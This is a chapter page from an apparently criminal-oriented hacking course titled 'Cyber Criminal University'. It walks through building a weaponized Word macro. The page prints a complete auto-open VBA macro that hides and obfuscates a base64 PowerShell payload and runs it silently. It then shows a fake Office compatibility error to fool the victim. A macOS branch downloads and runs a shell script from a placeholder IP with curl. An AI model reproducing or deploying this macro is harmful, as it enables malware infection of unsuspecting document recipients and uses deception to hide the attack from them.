HackTown

Cyber Criminal University - Home

You are not logged in. You will only be able to access the courses in GREEN from the course list.

Chapter 1The Introduction Chapter 2Pre-Requisites Chapter 3Getting caught up Chapter 4The fuck is a Word document? Chapter 5Weaponizing Windows Chapter 6Weaponizing macOS Chapter 7The sandbox party Chapter 8One macro to rule them all Chapter 9Anti-Virus Evasion ConclusionThe END


ACT III - Word Up
Chapter 8 - One macro to rule them all

Old things that worked great! No longer working - Learning purposes only!


To refresh let's review our default macro we've been using throughout this guide.
Sub Auto_Open()
Call Winsheller
End Sub

Sub AutoOpen()
Call Winsheller
End Sub

Function Winsheller() As Object

On Error GoTo ErrorHandler
Err.Clear
ChDir "C:\\"
MsgBox "Testing"

ErrorHandler:

Macsheller

End Function

Function Macsheller()

MsgBox "Testing"

End Function

 Let's put together the macro to deliver our Windows and macOS payloads.

Below is the default macro we've been using along with the Magic Unicorn output included and the macOS portion combined into one macro. The example below will assist you in seeing where each piece of code should be placed and in what order when developing your own custom macro.

The text in RED is from the default macro template.
The text in GREEN is from Magic Unicorn (with first and last line deleted).
The text in PURPLE is the macOS download and execute code.

Sub Auto_Open()
Call Winsheller
End Sub

Sub AutoOpen()
Call Winsheller
End Sub

Function Winsheller() As Object

On Error GoTo ErrorHandler
Err.Clear
Dim NuhmZLicc

NuhmZLicc = " /w 1 /C ""sv Yvm -;sv rpk ec;sv "
NuhmZLicc = NuhmZLicc + "uw ((gv Yvm).value.toString()+(gv rpk).value.t"
NuhmZLicc = NuhmZLicc + "oString());" & "p" & "o" & "w" & "e" & "r" & "s" & "h" & "e" & "l" & "l" & " (gv uw).value.toString() ("
NuhmZLicc = NuhmZLicc + "'JABvAHEAPQAnACQAYgByAD0AJwAnAFsAZwBiAFQAKAAoACIAb"
NuhmZLicc = NuhmZLicc + "QBzAHYAYwByACIAKwAiAHQAIgArACIALgBkAGwAbAAiACkAKQB"
NuhmZLicc = NuhmZLicc + "dAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlA"
NuhmZLicc = NuhmZLicc + "AFYAZwAiADsAaQBlAHgAIAAkAE0AUAA=')"""

Dim jiOkDXsjTyX
jiOkDXsjTyX = "S" & "h" & "e" & "l" & "l"
Dim cFSqCkKEiX
cFSqCkKEiX = "W" & "S" & "c" & "r" & "i" & "p" & "t"
Dim zUMMDyAHXIkrDg
zUMMDyAHXIkrDg = cFSqCkKEiX & "." & jiOkDXsjTyX
Dim tDDDZxghp
Dim jpmcUhoIUrLPNk
Set tDDDZxghp = VBA.CreateObject(zUMMDyAHXIkrDg)
Dim waitOnReturn As Boolean: waitOnReturn = False
Dim windowStyle As Integer: windowStyle = 0
Dim bXzCeRp
bXzCeRp = "p" & "o" & "w" & "e" & "r" & "s" & "h" & "e" & "l" & "l" & "." & "e" & "x" & "e" & " "
tDDDZxghp.Run bXzCeRp & NuhmZLicc, windowStyle, waitOnReturn

Dim title As String
title = "Microsoft Office (Compatibility Mode)"
Dim msg As String
Dim intResponse As Integer
msg = "This application appears to have been made with an older version of the Microsoft
Office product suite. Please have the author save this document to a newer and supported format. [Error Code: -219]"
intResponse = MsgBox(msg, 16, title)
Application.Quit
ErrorHandler:

Macsheller

End Function
Function Macsheller()
RUN = "do shell script ""curl http://IP:9000/FILE.sh >malware.sh; bash malware.sh"""
res = MacScript(RUN)
End Function

 Look how simple yet effective that macro is. This macro will recognize the OS then download and execute the proper appropriate payload.

You would obviously replace the code in the macro to develop your own custom macro but remember the downfall for this example macro is your targets will have everything sandboxed automatically thanks to Microsoft which is useless to you.

Click here to continue to Chapter 9

Board footer